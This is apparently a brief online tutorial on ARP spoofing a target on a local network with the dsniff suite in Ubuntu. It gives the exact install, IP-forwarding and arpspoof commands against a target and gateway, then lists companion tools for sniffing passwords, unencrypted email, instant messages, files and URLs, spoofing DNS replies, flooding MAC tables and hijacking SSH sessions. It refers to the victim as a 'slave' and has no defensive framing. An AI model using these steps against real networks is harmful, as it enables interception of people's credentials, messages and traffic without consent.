How to arp spoof and sniff urls in ubuntu. sorry about the blurriness.
Commands run:
sudo apt-get install dsniff
sudo nano /proc/sys/net/ipv4/ip_forward (change the 0 to 1)
sudo arpspoof -i eth0 -t 192.168.1.5 192.168.1.1
(new terminal)
urlsnarf
Other programs to run while arp spoofing:
dsniff - sniff for common passwords (POP, IMAP, HTTP, Telnet, SNMP, AIM, ICQ, and more)
filesnarf - sniff for files passing between target and NFS shares
mailsnarf - sniff (unencrypted) email crossing wire (works for POP/IMAP/SMTP but not for website email clients {Gmail, Hotmail, Yahoo, etc})
msgsnarf - sniff messages sent to/from MSN, ICQ, AOL, etc
urlsnarf - outputs URLs visited by slave
webspy - opens URLs visited by slave in Firefox so you can "follow" their traffic
dnsspoof - GREAT TOOL! Replies to DNS requests made by slave with custom addresses. Can be used to route web-traffic to custom servers
macof - floods the network with random MAC addresses
sshmitm - captures and/or hijacks SSH(1) sessions made by target
webmitm - used for proxying and sniffing HTTP/HTTPS traffic
Link to this comment:
All Comments (1)